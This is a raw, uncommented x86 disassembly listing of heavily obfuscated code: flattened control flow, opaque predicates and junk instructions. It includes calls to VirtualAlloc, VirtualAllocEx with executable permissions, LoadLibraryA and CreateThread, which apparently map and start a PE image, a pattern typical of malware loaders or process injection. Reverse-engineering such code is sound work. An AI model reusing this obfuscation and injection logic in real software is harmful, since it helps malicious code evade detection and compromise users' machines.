mov ah, ch
xor ah, al
or al, dl
and ah, ch
xor al, 1
or al, cl
xor ah, 1
xor al, 1
mov cl, ah
or cl, al
xor al, ah
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x8e187eed
cmovne eax, esi
test cl, cl
cmovne eax, edi
test dl, 1
cmove eax, esi
jmp 0x402260
cmp eax, 0x464db57b
je 0x4108f8
cmp eax, 0x473221d7
je 0x41099e
cmp eax, 0x478f3e9e
jne 0x402260
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0xbc]
sub eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0xc4]
mov dword [ecx], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x44]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x38]
mov dword [ecx], eax
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov dword [eax], 0
mov eax, 0x168147c6
jmp 0x402260
cmp eax, 0xc3d1a861
je 0x410b2f
cmp eax, 0xc406bfd9
je 0x410b39
cmp eax, 0xc4ab3541
jne 0x402260
mov eax, dword [0x460984]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xcdd90496
mov eax, edx
and eax, 0x48580096
and ecx, edx
not edx
and edx, 0x85810400
mov esi, ecx
not esi
and ecx, 0xcd8fcb48
or eax, edx
mov edx, eax
xor edx, 0x48080000
xor eax, 0xb7a7ff69
mov edi, eax
or eax, esi
and esi, 0x327034b7
and edi, 0x327034b7
and edx, 0xcd890000
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xb098531f
and ecx, 0x4f67ace0
or eax, ecx
mov ecx, eax
xor eax, 0x82ae0802
xor ecx, 0x7d415789
mov edx, ecx
and eax, 0xd2ae1e02
and edx, 0x2d51e1fd
and ecx, 0x47aaf2a0
or edx, eax
mov eax, edx
mov esi, edx
xor eax, 0x2d51e1fd
xor esi, 0x6afb135d
xor edx, 0x92ac1000
and esi, eax
or eax, 1
and edx, 0xbaac71dc
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xb8550d5e
and esi, 0x47aaf2a1
or ecx, esi
mov edi, ecx
not edi
and ecx, 0xbaac71dc
mov esi, edi
or edi, eax
and esi, 0x45538e23
and eax, 0x45538e23
or ecx, esi
or edx, eax
not edi
mov esi, 0xdaa7c97e
xor edx, ecx
or edi, edx
mov eax, edi
not eax
and edi, 0x28008011
mov ecx, eax
and ecx, 0x92020006
and eax, 0x45fd7fe8
or edi, ecx
xor edi, 0x28008011
or eax, edi
sete dl
setne ch
cmp dword [0x460980], 0xa
setge cl
setl ah
mov al, cl
mov dh, cl
or cl, ch
xor al, ch
and ch, ah
xor ah, dl
xor cl, 1
and dh, dl
or cl, ah
or dh, ch
mov dl, al
xor cl, 1
xor dl, 1
or cl, dh
mov ah, cl
mov ch, cl
xor ah, 1
and ah, cl
xor ah, 1
xor ch, ah
or ah, cl
xor ah, 1
or ah, ch
mov cl, ah
and ah, dl
xor cl, 1
and al, cl
or cl, dl
or al, ah
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0xb80f78af
cmovne edx, esi
test cl, 1
mov ecx, 0xb80f78af
jmp 0x4103a3
cmp eax, 0x29583a02
je 0x410c05
cmp eax, 0x2a65bbb5
je 0x410d83
cmp eax, 0x2a8f0367
jne 0x402260
mov eax, 0x34a3cb30
jmp 0x402260
cmp eax, 0xa339217a
je 0x410e7d
cmp eax, 0xa3876a95
je 0x41100a
cmp eax, 0xa3975b61
jne 0x402260
push 4
push 0x3000
push dword [ebp - 0xf0]
push dword [ebp - 0x13c]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
mov eax, dword [ebp - 0x44]
cmp dword [eax + 4], 0
mov eax, dword [0x460984]
lea ecx, [eax + 1]
sete byte [ebp - 0x92]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x9aabb77c
mov edx, eax
and edx, 0x65544882
and eax, 0x4ebed2f6
or esi, edx
mov edx, ecx
xor edx, 0xfffffffe
and edx, ecx
xor esi, 0x9aabb77c
and ecx, 0xb1412d09
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0x4ebed2f6
mov edi, esi
and edi, 0xb1412d09
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0x1d1ad099
xor eax, 0xffffffff
setne ah
sete dl
cmp dword [0x460980], 0xa
mov ch, ah
setge cl
setl al
xor ch, cl
or cl, dl
and ch, dl
or dl, al
xor al, ah
xor cl, 1
mov ah, dl
or cl, ch
xor ah, al
or al, dl
mov edx, ecx
xor al, 1
or al, ah
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x6b20c9ba
cmovne ecx, esi
test al, 1
mov eax, 0x6b20c9ba
jmp 0x402252
cmp eax, 0x67dbf312
je 0x41102b
cmp eax, 0x68f529bf
je 0x411190
cmp eax, 0x695241d7
jne 0x402260
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xfffffffe
not edx
mov esi, edx
and ecx, eax
and esi, 0xfffffffe
and edx, 0x3b7549ca
and eax, 0xc48ab635
or ecx, esi
or eax, edx
mov esi, 0xf2b09147
not ecx
xor eax, 0xc48ab635
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xb585f8e8
and ecx, 0x4a7a0717
or eax, ecx
xor eax, 0xb585f8e8
setne al
sete ah
cmp dword [0x460980], 0xa
setl dl
setge ch
mov cl, dl
xor al, ch
or dl, ah
xor cl, ah
or ah, ch
xor al, 1
xor ah, 1
and cl, ch
or cl, ah
mov ah, al
or al, dl
xor ah, dl
xor al, 1
xor cl, 1
or al, ah
mov edx, eax
xor dl, cl
or cl, al
mov eax, 0x570ca20
mov ch, cl
xor ch, dl
test cl, 1
cmovne eax, esi
test dl, 1
mov edx, 0x570ca20
cmove eax, esi
test ch, 1
cmove eax, edx
jmp 0x402260
cmp eax, 0xf104eb81
je 0x4111b6
cmp eax, 0xf17ba837
je 0x4111c0
cmp eax, 0xf19d6054
jne 0x402260
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax]
mov dword [ebp - 0x120], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov dword [ebp - 0x124], eax
mov eax, 0x5c4db91e
jmp 0x402260
cmp eax, 0x17a456d8
je 0x4111e1
cmp eax, 0x17c5c26c
je 0x4111eb
cmp eax, 0x1898168d
jne 0x402260
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
mov eax, ecx
not edx
or eax, 1
mov edi, edx
mov esi, eax
and esi, 0xe41f0d24
and edi, 0x1be0f2da
and edx, 0xcc0df0de
or edi, esi
mov esi, ecx
xor esi, 0xfffffffe
and esi, ecx
and ecx, 0x33f20f21
mov ebx, esi
not ebx
and esi, 0x1be0f2db
or ecx, edx
or eax, ebx
and ebx, 0xe41f0d24
or esi, ebx
not eax
xor esi, edi
or eax, esi
mov edi, eax
not edi
mov edx, eax
and edx, 0xfc83587d
and edi, 0x37ca782
or edi, edx
mov edx, ecx
xor edx, 0x3700700
xor ecx, 0xcc0df0de
or eax, ecx
and ecx, 0xfc83587d
and edx, 0x37ca782
or edx, ecx
not eax
xor edx, edi
or eax, edx
xor eax, 0xffffffff
setne al
sete dl
cmp dword [0x460980], 0xa
setge cl
setl ah
and al, ah
and cl, dl
or cl, al
mov al, ah
or ah, dl
xor al, dl
mov dl, ah
xor al, 1
xor dl, al
or al, ah
xor al, 1
or al, dl
mov edx, ecx
xor dl, 1
and cl, dl
xor cl, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or dl, al
or cl, ah
xor cl, al
mov eax, 0x626b8c3
mov ch, cl
xor ch, dl
test dl, 1
mov edx, 0x1c60048a
cmovne eax, edx
test cl, 1
not ch
cmovne eax, edx
test ch, 1
mov edx, 0x626b8c3
cmove eax, edx
jmp 0x402260
cmp eax, 0x96bfc6f3
je 0x411204
cmp eax, 0x96f37050
je 0x41128b
cmp eax, 0x9769837c
jne 0x402260
mov eax, dword [ebp - 0x14c]
mov ecx, 0xc923858a
cmp eax, dword [ebp - 0x154]
mov eax, 0x71f1599c
cmove eax, ecx
jmp 0x402260
cmp eax, 0x5880f8e4
je 0x41129e
cmp eax, 0x58fd6b95
je 0x411405
cmp eax, 0x5a460215
jne 0x402260
mov eax, 0xb03df339
jmp 0x402260
cmp eax, 0xd60cdd96
je 0x41140f
cmp eax, 0xd6aa17a4
je 0x411419
cmp eax, 0xd7109afd
jne 0x402260
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov dword [ebp - 0x170], eax
mov eax, 0xa63ef308
jmp 0x402260
cmp eax, 0x3773b08e
je 0x411423
cmp eax, 0x37a33c45
je 0x41144b
cmp eax, 0x387dc046
jne 0x402260
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0xc]
mov ecx, dword [ebp - 0xd8]
add eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0xb0]
mov dword [ecx], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0xb0]
mov eax, 0xfcb4ead9
jmp 0x402260
cmp eax, 0xb00bb6d2
je 0x411455
cmp eax, 0xb03df339
je 0x411537
cmp eax, 0xb0a97f2d
jne 0x402260
cmp byte [ebp - 0x91], 0
mov eax, 0x65ba6ed0
mov ecx, 0xe850e28b
cmovne eax, ecx
jmp 0x402260
cmp eax, 0x7829dfed
je 0x411627
cmp eax, 0x78f398fb
je 0x411631
cmp eax, 0x7908b90c
jne 0x402260
mov eax, 0xab69fdf4
jmp 0x402260
cmp eax, 0xe1df8781
je 0x411775
cmp eax, 0xe2c41f63
je 0x41178e
cmp eax, 0xe32f92c9
jne 0x402260
mov eax, dword [ebp - 0x28]
add eax, 0x18
mov dword [ebp - 0xf4], eax
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x819125d2
mov esi, edx
and esi, 0x7e6eda2c
and edx, 0xa332d457
or ecx, esi
mov esi, ecx
xor esi, 0x818100c0
xor ecx, 0x7e6eda2d
mov edi, ecx
and edi, 0x3c1e373a
and esi, 0xc3e1c8c4
or esi, edi
mov edi, eax
xor edi, 0xfffffffe
and edi, eax
and eax, 0x5ccd2ba8
mov ebx, edi
not ebx
and edi, 0xc3e1c8c5
or eax, edx
or ecx, ebx
and ebx, 0x3c1e373a
mov edx, eax
xor edx, 0x5ccd2ba8
xor eax, 0xa332d457
or edi, ebx
not ecx
xor edi, esi
mov esi, 0xd04f581a
or ecx, edi
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
xor ecx, eax
test ecx, eax
setne dl
sete ah
cmp dword [0x460980], 0xa
setl ch
setge al
mov cl, ch
and dl, ch
xor cl, ah
mov dh, cl
and cl, ch
mov ch, al
xor ch, ah
and dh, ah
and ch, al
and al, ah
mov bl, dh
xor dh, cl
xor cl, 1
or al, dl
xor ch, 1
xor bl, 1
xor al, 1
mov dl, ch
or cl, bl
xor dl, al
or al, ch
xor cl, 1
xor al, 1
or cl, dh
or al, dl
mov ch, cl
mov edx, eax
and ch, al
xor dl, 1
mov ah, dl
or dl, cl
xor cl, 1
and ah, cl
xor cl, al
xor dl, 1
or dl, cl
or ch, ah
mov eax, edx
xor al, ch
test al, 1
mov eax, 0x15a5064f
cmovne esi, eax
test dl, 1
mov eax, 0xd04f581a
cmovne eax, esi
test ch, 1
cmove eax, esi
jmp 0x402260
cmp eax, 0xfa36a0d
je 0x41189d
cmp eax, 0x111a7fa7
je 0x4118a7
cmp eax, 0x117b5ff1
jne 0x402260
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc8]
vmovsd xmm0, qword [eax]
mov eax, 0xa92e25c1
vmovsd qword [ecx], xmm0
jmp 0x402260
cmp eax, 0x90b7ac40
je 0x411973
cmp eax, 0x90d46659
je 0x411a27
cmp eax, 0x92309e81
jne 0x402260
mov eax, 0x464db57b
jmp 0x402260
cmp eax, 0x51918cf6
je 0x411a31
cmp eax, 0x51d2b2a6
je 0x411a3b
cmp eax, 0x51d4a086
jne 0x402260
mov eax, dword [ebp - 0x19c]
add eax, dword [ebp - 0x1a0]
mov ecx, dword [ebp - 0x7c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov dword [eax], 0
mov eax, 0xf19d6054
jmp 0x402260
cmp eax, 0xcd186eb4
je 0x411bc7
cmp eax, 0xcd424259
je 0x411cae
cmp eax, 0xcd9ac047
jne 0x402260
mov eax, dword [ebp - 0xf4]
mov ecx, dword [ebp - 0xa8]
push 0x40
push 0x3000
push dword [eax + 0x38]
push 0
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0xc0]
mov dword [ecx], eax
mov eax, dword [ebp - 0xc0]
mov eax, 0x29583a02
jmp 0x402260
cmp eax, 0x31f1b4ab
je 0x411cc3
cmp eax, 0x323ba0f3
je 0x411ccd
cmp eax, 0x32e72057
jne 0x402260
push dword [ebp - 0x11c]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x5c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x5c]
cmp dword [eax], 0
mov eax, dword [0x460984]
lea ecx, [eax + 1]
setne byte [ebp - 0x97]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x5504dfeb
and eax, 0xaafb2014
or ecx, eax
mov eax, ecx
xor eax, 0x150484a0
xor ecx, 0xaad80010
and ecx, 0xead85b5b
and eax, 0x1527a4a4
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x525a080
xor ecx, 0xead85b5b
xor eax, 0xb3bd7ca1
mov esi, ecx
and edx, 0xe73da2d9
and esi, 0x18c25d26
and eax, ecx
or esi, edx
mov ebx, eax
not ebx
and eax, 0x3f620284
mov ecx, esi
mov edx, esi
xor edx, 0x18c25d26
xor esi, 0xbe588523
xor ecx, 0xe73da2d8
and esi, edx
and ecx, 0xfffffffe
mov edx, esi
not edx
and esi, 0x3f620284
mov edi, edx
or edx, ebx
and edi, 0xc09dfd7b
and ebx, 0xc09dfd7b
or esi, edi
or eax, ebx
not edx
xor eax, esi
mov esi, 0xf45aac31
or edx, eax
mov eax, edx
not eax
and edx, 0xefc126d0
and eax, 0x103ed92f
or edx, eax
xor edx, 0xb6a4012b
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x683d56
and edx, 0xff97c2a9
or edx, ecx
mov eax, edx
xor eax, 0xb0824280
xor edx, 0x602c46
and edx, 0x4f75ac6f
and eax, 0xb08a5390
or eax, edx
mov ecx, eax
xor ecx, 0xf40880c
xor eax, 0xb0001000
and eax, 0xf0353463
and ecx, 0xfcacb9c
or ecx, eax
cmp ecx, 0xfcacb9c
setne ah
cmp dword [0x460980], 0xa
setge cl
setl dl
mov al, cl
xor al, ah
mov dh, al
and al, cl
and dh, ah
mov ch, dh
xor dh, al
xor al, 1
xor ch, 1
or al, ch
mov ch, ah
inc ch
xor al, 1
xor dl, ch
and ch, ah
or al, dh
mov dh, ah
xor ch, 1
xor dh, ch
or ch, ah
xor ch, 1
or ch, dh
xor ch, cl
or cl, ah
xor cl, 1
or cl, dl
mov dl, ch
xor dl, cl
or cl, ch
xor cl, 1
or cl, dl
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
mov ah, dl
mov ecx, edx
xor ah, 1
and cl, ah
xor cl, 1
or cl, ah
xor cl, 1
or cl, dl
xor cl, al
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0xe1df8781
cmovne eax, esi
test cl, 1
mov ecx, 0xe1df8781
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x402260
cmp eax, 0xa7e336d9
je 0x411cf8
cmp eax, 0xa87127c8
je 0x411d21
cmp eax, 0xa90def10
jne 0x402260
mov eax, 0x80f3cb86
jmp 0x402260
cmp eax, 0x6f6b63a2
je 0x411d3a
cmp eax, 0x6f8852d8
je 0x411d44
cmp eax, 0x6f9b220f
jne 0x402260
mov eax, dword [ebp - 0x120]
mov eax, dword [ebp - 0x124]
mov eax, 0xbb6ab495
jmp 0x402260
cmp eax, 0xf889187c
je 0x411d5d
cmp eax, 0xfcb4ead9
je 0x411d76
cmp eax, 0xfcd27ebe
jne 0x402260
mov eax, dword [ebp - 0x100]
mov eax, dword [ebp - 0xfc]
mov eax, 0x92c3c2ef
jmp 0x402260
cmp eax, 0x20d19ab9
je 0x411e46
cmp eax, 0x21872bbc
jne 0x402260
mov eax, dword [ebp - 0x48]
mov eax, 0xe7a0619a
jmp 0x402260
cmp eax, 0x9e83e6e4
je 0x411e6b
cmp eax, 0x9e93a393
jne 0x402260
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
mov eax, 0x2a65bbb5
jmp 0x402260
cmp eax, 0x63d031fe
je 0x411e81
cmp eax, 0x65666131
jne 0x402260
mov eax, 0x7cde4fee
jmp 0x402260
cmp eax, 0xddcae8a6
je 0x411e9a
cmp eax, 0xddda8475
jne 0x402260
mov eax, 0xe986c639
jmp 0x402260
cmp eax, 0x3f46e290
je 0x411eb3
cmp eax, 0x4006874f
jne 0x402260
mov eax, 0x58fd6b95
jmp 0x402260
cmp eax, 0xbc4096b9
je 0x41206d
cmp eax, 0xbce08333
jne 0x402260
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x34]
mov eax, 0xf0d37f9a
jmp 0x402260
cmp eax, 0x7e763be3
je 0x412077
cmp eax, 0x7f147a94
jne 0x402260
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x1e6a4f3c
mov esi, eax
and esi, 0xe195b0c2
or eax, 0xc680218e
or edx, esi
and eax, 0xc680218f
mov esi, edx
xor esi, 0x186a4e30
xor edx, 0xc0802083
and edx, 0xc680218f
and esi, 0x397fde70
or esi, edx
xor eax, esi
mov esi, 0x352547a4
mov edx, eax
not edx
and eax, ecx
andn ecx, ecx, edx
or eax, ecx
not eax
or eax, edx
xor eax, 0xffffffff
sete cl
setne dl
cmp dword [0x460980], 0xa
mov eax, ecx
setl ah
xor al, ah
mov ch, ah
or cl, ah
and al, dl
or ch, dl
xor dl, ah
xor al, 1
mov ah, dl
mov dh, al
or al, ch
xor ah, cl
or cl, dl
xor dh, ch
xor al, 1
xor cl, 1
or al, dh
or cl, ah
xor al, 1
mov edx, eax
xor al, cl
or dl, cl
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0xd220617c
cmovne eax, esi
test dl, 1
mov edx, 0xd220617c
jmp 0x411767
cmp eax, 0xea06c6f2
jne 0x412164
mov eax, 0xc0d6b759
jmp 0x402260
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x184]
mov dword [eax], ecx
mov eax, 0xdd665a5c
jmp 0x402260
mov eax, 0xfd5341c9
jmp 0x402260
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov esi, ecx
and esi, 0x20800411
mov eax, edx
and eax, 0x9018b8cc
and edx, 0x71754373
or esi, eax
mov eax, ecx
xor eax, 0xb098bcdd
and eax, ecx
xor esi, 0x20800411
and ecx, 0x8e8abc8c
or eax, esi
or ecx, edx
mov esi, eax
not esi
and eax, 0xb098bcdc
mov edx, ecx
xor edx, 0x40a2080
xor ecx, 0x71754373
and esi, 0x4f674323
and edx, 0x56a23b3
or eax, esi
mov esi, eax
not esi
and eax, 0x1b1aad1e
and esi, 0xe4e552e1
or eax, esi
mov edi, eax
xor edi, 0x10a2112
xor eax, 0xe4e552e1
mov esi, eax
or eax, ecx
and ecx, 0xfa95dc4c
and esi, 0xfa95dc4c
and edi, 0x56a23b3
or edi, esi
or edx, ecx
not eax
mov esi, 0x7bb74da0
xor edx, edi
or eax, edx
mov ecx, eax
not ecx
and eax, 0x2527cf2
and ecx, 0xfdad830d
or eax, ecx
xor eax, 0x2527cf2
setne dl
sete al
cmp dword [0x460980], 0xa
mov dh, dl
setge cl
setl ah
mov ch, cl
mov ebx, ecx
or dh, ah
inc ch
xor bl, al
xor dh, 1
and bl, cl
and ch, dl
and cl, al
mov dl, al
or cl, ch
xor bl, 1
xor dl, ah
xor cl, 1
mov al, bl
and dl, ah
xor al, cl
or cl, bl
or dl, dh
not cl
or cl, al
mov eax, 0x34d9e158
xor cl, dl
and cl, 1
cmovne eax, esi
test cl, dl
cmove eax, esi
test cl, cl
mov esi, 0x34d9e158
cmove eax, esi
test cl, dl
mov ecx, dword [ebp - 0x18]
cmovne eax, esi
mov ecx, dword [ecx]
mov edx, ecx
mov esi, ecx
or esi, 0x4288a440
not edx
mov edi, ecx
and edi, 0x90021119
and ecx, 0x4f5ce44c
mov ebx, edx
and esi, 0x4bc8e4c0
and ebx, 0x24350a26
or ebx, esi
mov esi, edx
or esi, 0x9404080
and edx, 0xb0a31bb3
and esi, 0x4bc8e4c0
or ecx, edx
or edi, esi
mov edx, ecx
xor edx, 0x4f5ce44c
xor ecx, 0xb0a31bb3
xor edi, ebx
mov esi, edi
not esi
and edi, 0x6d754aa6
and esi, 0x928ab559
or edi, esi
andn edx, edi, edx
and ecx, edi
not edi
or ecx, edx
not ecx
or ecx, edi
cmp ecx, 0xffffffff
setne byte [ebp - 0x9e]
jmp 0x402260
imul ebx
neg eax
dec eax
dec edi
not eax
not eax
dec esi
dec eax
imul eax
bswap edi
imul eax
neg edx
sbb eax, 0xbd
mov ebx, 0x55
imul ebx
mov eax, 1
imul esi
and esi, 0xbc
imul eax
dec edi
sub edi, 0x9e
inc ebx
dec esi
add ebx, 0x1b
not ebx
neg eax
imul esi
rol ebx, 0x22
sbb edi, 0xbf
mov eax, 0
bswap edx
inc ebx
neg esi
sbb edx, 0xcf
inc esi
ror eax, 0x80
add esi, 0xff
bswap eax
dec edi
bswap edi
rcr eax, 0xe9
bswap edx
add edx, 0x97
mov esi, 0xfe
imul eax
sbb eax, 0xa2
rcl ebx, 0x8f
not esi
ror eax, 0xa3
inc edx
mov eax, 0xa1
neg eax
sbb edx, 0x2d
dec eax
rcl esi, 8
not edx
not eax
dec edx
rcr edx, 0x36
and eax, 0x3a
sub esi, 0x80
or esi, 0xf8
sub ebx, 0xc7
sbb ebx, 0x2a
mov ebx, 0x36
add edi, 0xbc
and edx, 0xdb
sub esi, 0x68
add edi, 0x96
bswap edi
add edx, 0x9f
and edi, 0x6a
sub edx, 0x3c
dec ebx
sbb edi, 0xe5
rcl edx, 7
dec edi
rcr ebx, 0xdd
bswap eax
dec esi
ror esi, 0xcc
mov esi, 0x8c
inc edi
sub eax, 0xc0
or eax, 5
add edi, 0x6f
sub ebx, 0x7a
inc esi
rol ebx, 0xd9
neg edx
and esi, 0x17
imul eax
neg edx
add ebx, 0xf7
rcl eax, 0xf1
ror ebx, 0xe9
dec ebx
rol edi, 0x7d
imul esi
or ebx, 0x90
and edi, 0xfe
dec ebx
rcr edx, 0x92
bswap eax
sbb edx, 0x98
sbb edi, 0xbd
dec edx
inc eax
rcl eax, 0xc7
dec esi
inc esi
not esi
bswap ebx
not ebx
bswap edi
or esi, 3
neg ebx
sbb ebx, 1
neg eax
rol esi, 0x70
mov eax, 0x7f
neg edx
dec edi
and ebx, 0x2d
add edi, 0x4c
bswap esi
dec edi
or eax, 0x69
or eax, 0xf9
not edi
rol ebx, 0xe1
not edi
rcr esi, 0x84
imul eax
neg esi
dec eax
sbb ebx, 0x91
sbb ebx, 0x7e
ror edi, 0x17
and esi, 0xe8
add esi, 0x7f
imul ebx
rcr esi, 0x1d
bswap edx
dec eax
not edx
dec esi
not edx
mov ebx, 0xf2
sbb edx, 0x31
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ecx + 0x28]
add ecx, dword [eax]
push 0
push 0
push 0
push ecx
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0xb8]
mov dword [ecx], eax
mov eax, 0xc1bce97a
jmp 0x402260
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x1b4], eax
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x6180e008
and ecx, 0x16010280
mov edx, eax
and edx, 0x804a0914
or eax, 0x200ac018
or esi, edx
and eax, 0x283ed47b
mov edx, esi
xor edx, 0x41802000
xor esi, 0x83e1473
or ecx, eax
and esi, 0x283ed47b
and edx, 0xc1c02904
or edx, esi
xor ecx, edx
mov eax, ecx
not eax
and ecx, 0x8c2696e
and eax, 0xf73d9691
or ecx, eax
mov edx, ecx
mov ebx, ecx
xor edx, 0x16f77f8d
xor ebx, 0xf92163a0
mov edi, ecx
xor ecx, 0x28000000
xor edi, 0xa8080050
and ebx, edx
and ecx, 0x2ec40809
and edi, 0xbaac035c
mov eax, ebx
not eax
and ebx, 0x2ee5690b
mov esi, eax
and esi, 0xd11a96f4
or ebx, esi
mov esi, edx
or esi, 0x1029e3d2
or eax, esi
and esi, 0xd11a96f4
or ecx, esi
not eax
mov esi, edx
and esi, 0x4553fca3
and edx, 1
xor ecx, ebx
or esi, edi
or eax, ecx
xor esi, 0xbaac035d
mov ecx, eax
not ecx
and eax, 0x67dc60ae
or edx, esi
and ecx, 0x98239f51
or eax, ecx
mov ecx, eax
xor ecx, 0x11750331
xor eax, 0x880a7c82
mov esi, eax
and esi, 0xee80f0ce
and ecx, 0x117f0f31
or eax, edx
or ecx, esi
mov esi, edx
not esi
and edx, 0xee80f0ce
not eax
and esi, 0x117f0f31
or esi, edx
xor esi, ecx
or eax, esi
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x2ea46014
and eax, 0x101180c0
mov edx, ecx
or edx, 0x80020602
and esi, 0xaea66616
and ecx, 0x41481929
and edx, 0xaea66616
or ecx, esi
mov esi, 0xce1f2757
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x85409791
and ecx, 0x7abf686e
or eax, ecx
mov ecx, eax
xor ecx, 0x208b0
xor eax, 0x82817404
and ecx, 0x39760bf1
and eax, 0xc689f40e
or eax, ecx
xor eax, 0xc689f40e
setne dl
sete ah
cmp dword [0x460980], 0xa
setge al
mov ecx, eax
mov ch, al
xor ch, ah
inc cl
and ah, al
and cl, dl
and ch, al
xor al, dl
or cl, ah
or al, ch
mov edx, eax
mov ah, cl
not dl
xor ah, 1
and dl, ah
or ah, al
and al, cl
or al, dl
mov edx, 0xfd02e74c
mov ecx, eax
xor cl, ah
test al, al
cmovne edx, esi
test ah, ah
mov eax, 0xfd02e74c
jmp 0x40f9ce
mov eax, dword [ebp - 0x34]
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xf8a540dd
and eax, ecx
not ecx
or ecx, eax
not eax
and eax, 0x75abf22
and ecx, 0xf8a540dd
or ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0xa3be6030
not eax
and ecx, 0x6c676aa0
mov esi, eax
and esi, 0x5c419fce
and edx, 0xa3be6031
or edx, esi
mov esi, eax
and esi, 0x9398955f
and eax, 1
or esi, ecx
xor esi, 0x6c676aa1
or eax, esi
not eax
or eax, edx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x6f3f53ea
and edx, 0x90c0ac15
or edx, esi
mov esi, ecx
not esi
and ecx, 0x90c0ac15
or eax, esi
and esi, 0x6f3f53ea
or ecx, esi
not eax
mov esi, 0x8253d0a0
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x9afbe050
mov edx, ecx
and edx, 0x65041faf
or eax, edx
xor eax, 0x65041faf
xor ecx, eax
test ecx, eax
setne dl
sete ch
cmp dword [0x460980], 0xa
setl ah
setge cl
mov al, ah
xor cl, dl
xor al, ch
mov dh, al
and al, ah
or ah, ch
and dh, ch
xor al, 1
xor ah, 1
xor dh, 1
or cl, ah
mov bl, dh
xor bl, al
or al, dh
xor al, 1
or al, bl
xor al, 1
mov edx, eax
xor al, cl
or dl, cl
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0xe9760c9f
cmovne eax, esi
test dl, 1
mov edx, 0xe9760c9f
jmp 0x411767
mov eax, 0x51918cf6
mov dword [ebp - 0x24], 1
jmp 0x402260
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xa0118090
mov esi, ecx
and esi, 0x246614e
mov edi, ecx
or edi, 0xa2032186
and ecx, 0x2dd3211f
or edx, esi
and edi, 0xb6233187
mov esi, edx
xor esi, 0x108010
xor edx, 0x16223107
and edx, 0xb6233187
